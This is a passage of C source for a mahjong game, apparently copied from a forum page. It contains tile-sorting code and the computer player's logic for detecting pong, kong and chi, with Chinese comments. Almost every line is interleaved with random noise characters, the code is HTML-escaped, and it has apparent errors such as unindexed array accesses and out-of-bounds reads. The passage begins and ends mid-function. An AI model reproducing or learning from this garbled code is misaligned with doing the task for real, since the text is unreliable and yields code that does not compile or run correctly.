, n* i; W: F; c2 z7 vcomputer.pp[j+1].number=u;& T$ ]( ~( n" p  Z, O7 P9 D4 ~- B
}( W" \5 k7 R+ @; l
}
. h0 r) X1 l3 v: f. E: K0 w  P}
- e/ y* r* @- k* a/ g% Nvoid melipai()
) E6 U5 }7 i! `2 y+ l" v{ int n,j,u;4 {- U1 s& z- I5 ^
int *lingshi;
6 O' |: N3 Y4 Nfor(n=0;n&lt;me.m;n++)$ Z6 Q1 ^7 f& s: \& L! y
for(j=n;j&lt;me.m;j++)) q* \. x$ x0 Z* J4 A- R
{
' c4 A  n* }* |/ Aif(me.pp[n].number&gt;me.pp[j+1].number)4 k- T" U9 k$ y# I/ H
{9 V& F, s. v; a
lingshi=me.pp[n].k;
; P$ z3 j+ y3 V9 S/ U: \/ tme.pp[n].k=me.pp[j+1].k;0 Y. U. J: p3 V
me.pp[j+1].k=lingshi;1 \: n  C  w& d5 k
u=me.pp[n].oneorfour;6 B) i' g$ N- I- _/ t1 O+ F
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
+ O2 e1 X* n& H+ q2 I3 Q- ]+ {8 I0 dme.pp[j+1].oneorfour=u;
' @3 F( i. Z, U! hu=me.pp[n].number;# v( U) H( ]- ^
me.pp[n].number=me.pp[j+1].number;
6 Y8 H  m, @& Kme.pp[j+1].number=u;1 I. v; l& s; H5 Z7 N3 l* s6 |. X
}
" ^1 J, }# O, Z% |else! u, H# j) E4 i! F
if(me.pp[n].number==me.pp[j+1].number)
# c9 f8 @; c% D) `  I; m  o9 zif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)! O9 ]: y: x* M+ P  t
{' [, g. e" P& q  _1 K
lingshi=me.pp[n].k;
2 ^6 r# m) `" \me.pp[n].k=me.pp[j+1].k;/ n' d( P2 l& U9 ~
me.pp[j+1].k=lingshi;+ u0 |1 }0 l0 \' `! e' Z
u=me.pp[n].oneorfour;. m7 q4 G0 L: q% K
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
% G& h$ K8 m& Q' o/ Yme.pp[j+1].oneorfour=u;
4 h1 Z! `/ p* b" Vu=me.pp[n].number;! G% n9 U7 |5 ]7 g
me.pp[n].number=me.pp[j+1].number;& P3 b8 g! t8 j3 A4 }* c2 p
me.pp[j+1].number=u;# `# y9 x) {( S$ X
}8 z, {# X7 e4 [1 d$ ~  g
}
8 g5 T2 l% l( ?6 g" Z# m}& K3 i: z7 |8 h: t) e8 J1 l9 G
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*// l  [' I/ U: e7 c  z& I
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;9 Z, E+ r& m+ N# B* ]5 d& I8 Z; t. i
if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)- K; b. y; B; n6 r+ t
{* [+ z$ N1 g: z  L
logo=1;
! L" n& Q2 I2 n* h5 \if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)/ j: D9 }) @; x, A
logoo=1;0 f5 Y% q# ?3 q
else if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
5 }* P( w6 z/ |; vlogoo=2;
0 t- ?$ I! e1 gelse if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
. {( ~$ k' z% M& w8 y0 [. K, ?logoo=3;, s  W6 ?* o* B9 \/ a3 W: l$ @' u
else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
: A4 p0 A  G8 P& l' ?1 C' klogoo=4;
! S- \0 y& ]# {else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)) \, q; T) G  ~8 u% Z3 a
logoo=5;
' ^8 _8 D  `+ V& t% x( Z3 Gelse if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)8 b. }' A( `% M
logoo=6;# [8 B3 U: ?" {/ A
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)$ v& R6 I" `5 z+ ]" p9 I" S
logoo=7;( W" B6 v4 M0 x3 K0 z" |* R% T
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)# g- a4 h! V; {9 U, G
logoo=8;
/ u( j1 ^( W2 u( j/ k1 {, d( Eelse if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)- ^; K* U. o3 u; v
logoo=9;
0 h. \7 g+ _. H3 Q}
7 N+ Y- u! A& [' Uelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)- y7 O1 J! r# V/ b6 n4 \: b
{+ J1 C- ?- E$ Z# j* r1 A+ }' o
logo=2;$ n5 `, `. P9 @* W
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
; @. V, Q2 E9 K$ _logoo=1;5 n! m* B; ]4 `0 M
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)0 Q7 C2 q2 u/ }* `/ R* r
logoo=2;
0 s" E) A# g; q6 B, selse if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)9 y/ {- q* i7 Y% s8 A$ ]$ E6 \
logoo=3;
8 I2 m! ^8 P3 S/ Y) X# gelse if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
/ b3 Q+ m  a4 `4 E. O5 M" }logoo=4;8 E5 ], e8 d' b1 ?
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)# n" n' S/ a" `8 m  E% [
logoo=5;  ]' V3 s8 N1 P3 F0 r
else if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)  o# e/ B3 a+ M, @8 r) x5 h
logoo=6;
" Y5 ]$ U" ?/ K7 U: M+ d# R+ X7 Zelse if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
, K9 |, s$ o; m9 h5 S2 Hlogoo=7;
& v8 d" ?6 l. K% Lelse if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)1 d2 g0 P- C% J" A0 E
logoo=8;  _7 ^& k/ Q1 \; H; L1 `0 O/ K2 x
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68), ]% G, V7 U7 H- x* {- K9 A% \5 A
logoo=9;
' G6 K! h6 k8 O6 |}2 w$ Z( j/ ^1 k& `- C$ S; T
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)9 P; [. N) \8 F. h! x- M! a
{2 P: |' Y( l) b7 _. i6 B
logo=3;
  q: {* i; t' \. aif(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
# g9 L) P* W+ f3 O, U1 Zlogoo=1;$ P0 P' G, Q4 F" ]0 r' R. u
else if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)+ ^6 ^% C- n9 r, s& a
logoo=2;, _, w5 ], ^; G
else if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)6 T/ W0 B5 r# U4 r- o& Z/ m% c
logoo=3;$ _& Q+ y, T5 g& v, e
else if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)7 z9 o9 i5 [3 q: B1 N% G# e
logoo=4;
& F1 Q2 U# g) J: Zelse if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)3 o/ j! L) `# r2 |
logoo=5;
3 z& X2 T+ H- j+ [( U& i( u1 Celse if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92), }1 J8 m. D, ?1 v+ |" h
logoo=6;. E$ z' N  T- j% D8 E4 T' @
else if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
8 g  \6 Z, n6 R% a3 z: Vlogoo=7;7 w8 r) @! g, t  a/ h1 ?( o/ r7 C
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)0 c& a- T7 A; _+ A9 ?" r
logoo=8;8 v/ T+ O. f7 u5 j- O) y
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)- O$ u0 r5 Q+ L0 [. e
logoo=9;
# _' v2 e4 ]' e1 T$ `/ E}
/ D. I  i* Z  T. P+ Aelse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)0 k# D& q8 E% K# ]4 y4 S  J
{
6 q' p7 n, y1 G* Rlogo=4;, v, w4 G% B% h2 T; j) U( q
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
$ X) P5 I, x$ f/ y  J' D8 j6 wlogoo=1;  O; t( b* q5 T* q
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)" P- c' |. m1 G0 }9 i# k6 A7 p
logoo=2;
; J# N3 S, v+ q( ]$ Ielse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)& @- B3 L0 H" y1 [% M
logoo=3;
1 _7 V9 b5 M) ]4 y( m$ @1 t9 xelse if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
/ ^! r) B9 _" g- Blogoo=4;
& C1 e$ ^) z2 O4 x1 t3 Y6 I' J8 {else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
" q2 [0 m% ?# ?1 C# ?; Tlogoo=5;
& [7 \. ^0 T+ c4 ^else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)3 S% }  ^2 Z6 K+ `  ?! d6 o( w: _
logoo=6;- G4 s* O5 k! F8 _! b- g, _/ C
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
4 X+ Z% K4 e4 b3 A/ T. Y0 }logoo=7;
1 `2 M3 k9 D. q4 j5 T  C}
$ ]8 o9 s8 N9 ]8 S4 O/ j) C4 e  M- xwhile(b&lt;=computer.m)8 @' w" i' e- a8 R' l  E  S; r2 R
{) d4 l- P5 V$ ~% H
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/$ o1 K3 |9 G0 G: [
{
8 E+ ~# e; ~" S5 ~: F  w' Olg=1;
; p" A$ n2 ?5 h1 k! U7 Z6 ?computer.pp.d[0]=1;+ ^4 V4 w* r5 _2 e" X& U
if(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
4 t$ U' E. Y! P9 Q{
8 H3 R3 H8 o7 A; z/ Dlgg=1;$ ]! n% d- E! s& x' E  I; n5 C  W
computer.pp.d[1]=1;/ g1 _- v8 G& w, j7 F  v+ E
}
) V: o5 m, ?0 D( G  W3 delse if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
- T, Q+ {* s8 g9 l5 @{
+ A, X: w% t* {2 h1 r7 Vlgg=2;) e: _1 r' c6 ~- |' |0 N' T
computer.pp.d[1]=2;, u+ F4 _7 v5 m* N6 p
}
: F8 p0 {. ~- F# G3 e% p/ ?else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
) `4 j$ q( A! w5 W5 Q+ J  t{
3 i% K' I4 L' Y9 elgg=3;: p' C. N; s2 G3 q
computer.pp.d[1]=3;
( _; V  M( ?- G! q( j2 W}
4 p7 U" l; e0 ?$ ?% n) gelse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
: Y! \; j: k  j6 y" q# {5 M{
+ f) O, Y  N' l- Q; tlgg=4;
3 x4 Z! W5 @" bcomputer.pp.d[1]=4;
! X0 U. S/ q' R0 w7 d" }- Z5 d) ]}& g$ G6 K: p' L* L% @2 |9 ^- C
else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)+ d' z1 m8 o# r' x& _
{% n7 v# l+ v5 D3 f
lgg=5;
  ~0 o+ q3 p: H- d- ^- e3 y' kcomputer.pp.d[1]=5;
* s- i8 m4 O+ ]5 p, j}
& [% V( {8 [; S3 P, {6 W4 Ielse if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)
- A% i6 J$ A9 T+ _4 z2 o1 y: S{) g; c% W0 y+ t6 Z6 |; o
lgg=6;
& l1 i: ^4 G4 u! x1 Z' Y" Ccomputer.pp.d[1]=6;
; ?& ]* t) L; J}* L8 O- W9 l4 m3 ?$ l+ k  I& w
else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)4 |0 n3 r# b7 i6 d
{
* A/ I' W' d% rlgg=7;
: b; i" n9 Z+ X3 A: Acomputer.pp.d[1]=7;% v& N9 c: g2 y) N. G8 |
}
3 f, M+ o" P  Z( O  m3 uelse if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28); }. T. Y. _3 ?; Q( o" K4 i- b& P
{
# g2 i0 J7 J& O) z* x7 B2 [- blgg=8;
9 G$ x6 @3 d' `/ n# _. }- gcomputer.pp.d[1]=8;, B4 K0 x4 f& b
}# d, O: q' U4 Q, n9 a, T# q9 P
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
" F- _  r+ d1 v& s{
/ d  n4 ]" a  c/ P% s# Mlgg=9;
3 S+ ^! O# L& E$ _7 [( t7 ?computer.pp.d[1]=9;
8 r5 _6 V  m2 u+ f! g9 ~3 Q. ?}
3 R4 p) z5 P5 \1 G! v' }}1 P- l4 X" b; K! b) Z% m% o# d
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)
. W/ d  Q8 n: q2 D% n( x{
3 i8 V  z" w& I% B; B3 b$ u- |* \lg=2;. L# d  f% U& X) P9 x3 O9 y
computer.pp.d[0]=2;
2 V4 R, G3 K3 E: L$ q6 Zif(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
, T( S6 J' R, U6 c! c) B; S{, O# U- B2 Y3 ]( \: }9 h, g- o
lgg=1;; x$ e; p0 U! z  n0 B9 R% M
computer.pp.d[1]=1;
, |: m+ d, `9 _; t( b, }5 r5 s- J}$ [( a/ T. W$ ?2 H0 Q) o9 i
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)% F1 `0 O/ ~% E/ h; c
{* l+ W4 P$ x0 W4 r9 U( v4 i
lgg=2;: @7 `* D! G6 b+ H! o
computer.pp.d[1]=2;
" N, Z1 i/ {' x8 @4 i8 T6 ^}
* H) v5 k, x$ Z4 A: ?$ telse if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)- n* A6 ?- _/ O2 j% X$ f- r1 |5 B
{
7 O: v: i% i% a2 [" u" vlgg=3;9 P- M2 S: _& H1 t7 K& j2 Z
computer.pp.d[1]=3;
; F2 F4 A* C7 J" g1 ]}7 X) d6 s9 a$ l
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)+ a3 L3 k4 i8 W0 R3 V
{
4 g- v; N$ i, \8 |% i6 M7 Mlgg=4;
% f9 C' j+ b2 c2 ]2 c/ ?computer.pp.d[1]=4;3 v0 S" S) D2 O
}
; P' J6 Z! H& |. T0 }/ S: M8 S2 `else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)" \; F9 ~7 Z* n5 U9 K) e1 @
{5 }7 b/ @; B# H! ?+ M
lgg=5;
& l# o! |7 N6 ^! ^8 t. w( a. Hcomputer.pp.d[1]=5;. w1 I; k5 h% [9 n
}$ ~9 f/ r( D! @% m6 _0 C3 ~
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
0 z: q* j( Q1 j! Q  n" k{
! c1 O8 A5 D  u: g5 N3 M: ulgg=6;0 B) j' `, }! t* L
computer.pp.d[1]=6;
9 L) o  Q3 D+ {  F}
% [) N5 m1 k( J$ zelse if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)5 Q5 x7 ~* _, \- t+ h
{8 I: K7 X9 M5 b+ b& P" [. v
lgg=7;  W( Y& ^$ _; h; Y) _3 D8 P& l4 i
computer.pp.d[1]=7;" @+ r# V9 e7 Q, ^
}3 `# Y* {* n+ m0 X% H
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
: @/ l+ F& w: u) K& `+ A( `  o{
) `8 J- y" R( algg=8;
/ ^7 }6 O# P" E& T$ ]* t. acomputer.pp.d[1]=8;( O& ?+ n, w) q% }6 w% g; s, l
}
! v7 n* z# W( delse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
+ F2 j6 N5 _( E. e0 m7 [, c' X{. s( I* ^9 [& p" ]* @
lgg=9;8 c8 {7 @) O0 ?6 I: G
computer.pp.d[1]=9;/ M& R6 v6 z( E- v; J' X
}3 @7 I* X+ u9 q
}
: ^9 g3 y5 z+ felse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
% Q8 n2 I: F' Y( o$ ^: ^{
4 @. z  v0 z7 w& Z# Rlg=3;
( a! e+ |; D# d, H2 N- m& Ycomputer.pp.d[0]=3;) S: Q; @: ]& e- K* _+ T6 D0 s
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)' v' C( j, M2 W% a9 @$ M6 x& _
{1 R, j6 v, O8 K! }- O4 w% S( @# O' o
lgg=1;# v+ X- G6 T. Y. ?2 z) a8 J" D
computer.pp.d[1]=1;
6 L$ W+ R8 L) `; g}
+ s* Y/ r$ O. \4 b! Celse if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)+ J) f9 }* P% E' V- H
{
6 {# b7 i2 ^# r" ^5 t" Vlgg=2;+ ?+ n2 W5 N2 |" F5 |& M
computer.pp.d[1]=2;2 B$ [2 z  d$ a/ s6 K9 [
}- B: a7 F4 v1 f. H$ ]2 q/ I
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
: o) ]% w, ~% o+ e/ }* B3 g- Y) D3 B+ ]{
" `. Y3 C0 l  f1 J9 M5 d4 q7 Qlgg=3;* J# {+ r: P3 C
computer.pp.d[1]=3;
' D- b7 B; Q1 |% W+ ~# I% g}0 y  O; N0 i% |1 Y6 P+ _$ p
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
0 b7 h, G, u2 }' v" _  ?+ U{
- w/ r* C$ k5 algg=4;
# V7 a" k- n/ Y  ucomputer.pp.d[1]=4;
: x/ \5 q, n: w" e/ H- U}' k, b8 O% Q" N
else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
* k& I8 j# X9 Y# f{* q4 y  S" j/ _
lgg=5;
9 G! w! M. g1 u7 F% Ncomputer.pp.d[1]=5;
" p& v' T' m+ d; O& G% ?& M}
* N( d1 a) m- R0 q1 y$ V" lelse if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
; ?6 T1 y, R/ z( X{8 g/ [  e; C$ ?- h# S  H* x. x0 B
lgg=6;% m! x- c5 ?& i* e
computer.pp.d[1]=6;
$ v/ t" {: ]6 g+ M6 u1 w, H}5 w4 z) {3 C7 n2 f$ o
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)0 W# U  T; C. r
{" L4 x/ p" h& l& L9 _/ V8 y/ a
lgg=7;
5 u8 O0 r( V8 t" K, F6 Ecomputer.pp.d[1]=7;
8 ~- s4 |6 m9 Y) ~}9 o/ D5 I. G: k7 |9 B1 E
else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)& e' c# H% G4 M0 G8 }
{
8 D8 x0 i0 o  w$ n8 i! ^4 Q% P: p( glgg=8;; {' V+ ?8 M- o! C
computer.pp.d[1]=8;
" ~1 R2 @; w* S8 X4 _$ O; I3 \. @3 ]}' m$ z' Q) s- J; E4 ?8 l& q
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
1 `. r; B$ ^. X{
7 Y9 F4 D. W3 m" m& E; Olgg=9;8 p+ n. P) M# \2 i- O
computer.pp.d[1]=9;
, a$ n' f% j" F4 h+ _/ T! h}
* m. H& \: ^* W+ w, l}0 _; \) p0 g- g( b& R  A
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
" U, D8 w: A# n; k{7 F9 {) U7 b9 I  ]( `5 A
lg=4;
, ^) D& {5 M+ c! tcomputer.pp.d[0]=4;+ J( n# J" i; u2 Y8 U
if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)+ N6 ?$ ]# q6 Q3 r% Z
{3 \3 ]2 S: S& g1 _+ O) m
lgg=1;
" i6 ?7 G; C, |0 \. Ucomputer.pp.d[1]=1;
# N, Z9 X/ }/ C1 X}/ B2 _1 ~: S1 K. R& A
else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)6 L2 O* |  Z& d! x! d
{& ]- F' q8 I4 F$ T* Y; o& m* ?
lgg=2;8 N5 _+ v* Y: [
computer.pp.d[1]=2;
% @# T$ Y; S7 k! C1 Q}
* F$ r5 j% Q& p) X1 w' e* Pelse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)9 A4 i2 D; h# {
{
& q: P  M) O% N" d* p7 \& Q7 b7 klgg=3;
+ S4 G6 {2 z% Z6 Qcomputer.pp.d[1]=3;
. b0 A( b! o' N6 h; B+ A}7 p. o- a0 ?" F
else if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
* q2 @, p! `/ p" g{
6 [% J  D/ t6 f# @5 P" u# ^lgg=4;
, e6 l9 H# x0 t" xcomputer.pp.d[1]=4;
6 q& W" q+ }% o. p. j: T}
' v: W) h- z$ N; a. `- z/ L" Jelse if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)5 \1 j' B2 s6 s7 y/ ^
{1 w$ F, _2 G# R- f5 [# l9 ]8 N
lgg=5;) t( t" D1 x8 x- A
computer.pp.d[1]=5;: |6 q  [, _. D9 H9 \
}% i- v# W3 y; F6 ?
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)" |9 D  m" @% L# t
{
* j4 U% |  [4 o& G, S' U$ olgg=6;
8 g0 j9 X# I* F1 B( G6 ^computer.pp.d[1]=6;. K# F, P& J0 ]
}' p# L" i# \  D  `" ]/ @+ C8 _
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)4 e0 }9 r+ S8 f: {$ V' L- J
{
) h2 e$ [9 ~' {+ elgg=7;) B" z2 ]" }5 X8 P6 {0 {
computer.pp.d[1]=7;1 U+ s* x# m+ m3 q% f
}+ y4 ^! ^% l2 a  K: w) K0 ]- V1 T! k; ?
}& k$ h3 g8 f- K0 Z: }

% f+ a+ w: G1 s. u5 eif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
8 C7 [4 f% F1 B0 V5 e* p( ?if(logoo==lgg)
  e: O2 D+ m4 E- l: Wpg++;
- ?+ N& O2 H& J' e, T0 E& @ch.lg=lg; /*保存电脑手里的每张牌的信息*/
7 P% F8 A8 I( ~9 u: kch.lgg=lgg;
# G# G* Y* ?: ^( q5 M" S* _) rlg=0;
+ j$ a* S. u/ X& b5 l  ^/ ]9 \lgg=0;
- T, U9 P! j, ]0 y  Ib++;
7 T+ J" K; `" `) P- k}3 T7 A8 x# m8 O2 }) E
if(pg==2) /*乓*/) {3 M- e/ {" X' \) y( q' z
{6 s7 K1 L. `$ z4 a

& B$ r8 @$ n0 ?3 N3 f1 ising=1;2 [5 T( S, b6 ?; e
b=computer.m;
  j( b) |; B$ Y8 A! x4 t3 @: Dwhile(b!=-1)
$ i+ c1 m# r" n2 f{% d# L! j8 J4 K, T9 F
if(strcmp(me.pp[c].k,computer.pp.k)==0)
2 r; y6 d" P! |7 Z$ |' Bcomputer.pp.p=1;9 |, x, [  ?. S6 C. F. D! W: I. y

; I5 h) x  h4 _2 a2 ~( Ab--;( M$ p/ ?! i- W5 z+ e. ]
}% O7 J/ P/ O/ N# B
}! }/ i; C8 r/ p+ N2 ^% |2 I- u; a% B
if(pg==3) /*杠*/
& l& F" `/ J5 e* s" }. t{) b* ^  ^6 f6 _

' i2 a% @" [8 B1 p: {( psing=2;
1 S$ c$ F+ r# B" d- ]b=computer.m;- S+ F. I! @# A, w
while(b!=-1)# L% M" G- ~# C% [; S! d
{2 O5 F' ]& |0 F; P9 E6 e
if(strcmp(me.pp[c].k,computer.pp.k)==0)
% F% |' l% k' I8 z) A3 H  C! `, }computer.pp.g=1;9 A+ T  r% U/ E. \
b--;/ F6 i! P6 r& F& X
}; G$ c: f- y" ^5 o0 m8 A7 M
}
! _. n+ r, I- t: L3 B! d9 ~f=0;- U- c1 x3 i0 B- }( l+ U% |
while(f&lt;computer.m) /*吃的判断*/
+ B- z! {5 v, v1 w* U8 G" R: L{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)5 K0 Y3 G2 h5 z% [8 W
{6 O' f0 l+ J3 Z0 L
if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
" j7 Q7 Z& @4 V0 e& e& _1 jif(ch[f].lgg-logoo==1)% U% x% |/ `5 b4 e5 Q1 J8 b7 B
{
9 w7 J, ]* K: ?1 _, S8 l6 Q7 Agp++;
8 d6 m5 `0 \# q/ c. }8 ycomputer.pp[f].c=1;
4 |3 g6 |& a8 r2 S+ \- g1 I- Jcomputer.pp[f+1].c=1;9 R+ ~! l# `2 {! ~/ Q/ W
}7 p* L3 Q  O: q0 i
if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/4 L) O5 D5 I. g2 k5 x5 B
if(ch[f+1].lgg-logoo==-1)3 M$ k* n. p) P& m# y% z1 b
{
* x/ s4 T$ k5 Z4 D, m2 ?gp++;
* i% ~$ Z  Q( Y+ pcomputer.pp[f].c=1;
0 Y5 E2 F/ R: r4 V+ ~- Y: _+ ?$ Qcomputer.pp[f+1].c=1;
) l" X. D$ r8 m1 W}( f* Y6 Q2 Y9 T; v; t  @
if(ch[f].lgg-logoo==-1) /*中吃*/
0 ]  a8 g$ d% Uif(ch[f+1].lgg-logoo==1)
& ]9 T4 y) K8 j, q6 ?1 Q{
: X# Q7 }( r4 k* Tgp++;
: z+ A- x% ~7 ?1 L, Acomputer.pp[f].c=1;& E: w) Z# k) \
computer.pp[f+1].c=1;# h8 R1 \0 R" u
}
5 h& r# w' {0 V4 F0 u0 e* Rif(gp==1)
( ]- k8 {7 R" ~; L( h! T  x6 obreak;
0 K/ k" F7 s' p9 c5 L9 R5 I}$ j# x0 h5 N  k2 f  ~  {
f++;: |8 _2 A/ U- Q  o2 l( n( u5 M
}
4 i1 B' S: M6 }: L7 `3 j# o' iif(gp==1)6 v: ]( q9 O$ `. I1 L
{sing=7;. K$ C- h9 G6 Y) w! c3 f! O4 K: O: u
+ |# g6 l5 C. ?- A
}
3 o  @+ I$ W/ Z8 V) z) w7 hpg=0;3 d5 a! i8 e' f3 l, z# B, C5 C+ }+ r
gp=0;
0 y( f, d: B" Y9 `8 h: p( W& lb=0;
3 p# E  g3 \8 X3 k  j5 ~3 E6 h& ?}
; ]- x) _1 @3 avoid rgznme(int c) /*本程序涵数的核心针对我的牌*/7 X! b$ x4 [$ c) s0 f% K
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;4 G- [! R' k3 w' Y0 R( t( {) N
if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
! E+ M. D' j" W6 P8 m2 Q; N: H{1 ?' S" T6 R6 B
logo=1;
% U/ o: i2 o4 l" vif(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)1 h+ {0 X# I: M* V: W2 v  e. z
logoo=1;
+ z' f  L7 g: D# I4 q* Xelse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)# |% [$ E' l% D% A
logoo=2;
' s+ z+ y$ f9 i* G, ]else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)2 K- n/ z4 ~+ F0 e- d1 a' v7 _4 V  y
logoo=3;% h7 R" [& J: k8 \
else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)$ E* N3 P7 {/ ]2 D5 W: {: o% L9 ?2 [
logoo=4;
3 v9 q. V& D  ]+ x, g4 }else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
7 U4 K  F1 u' p& G7 n: a! Ylogoo=5;
7 X2 R  k, E$ ^0 j" _# c: R  O5 zelse if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
! f, z4 j& @# J  X7 D  W6 Xlogoo=6;
) V) G) {" j, ~7 Y7 O4 Belse if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)- e& n/ B" m+ u2 o
logoo=7;- `1 W/ {+ s) j
else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
4 G* Z; E; D7 I+ r2 r5 R' slogoo=8;
* w; \+ e% C; }8 v% m/ R4 ]" Telse if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
0 Q8 q. @# _6 X) ~logoo=9;
% p/ ~4 R2 T6 \; o% R) A1 G" O}# m9 ^0 d* s! q2 b
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)( f3 N  [- h$ H' t9 k' V* Q
{
8 ~7 `1 |, i7 Llogo=2;+ F) N/ k3 `4 b2 {
if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)+ E( F6 J% }& w2 s) L
logoo=1;& G9 y8 I8 c+ d5 G1 z
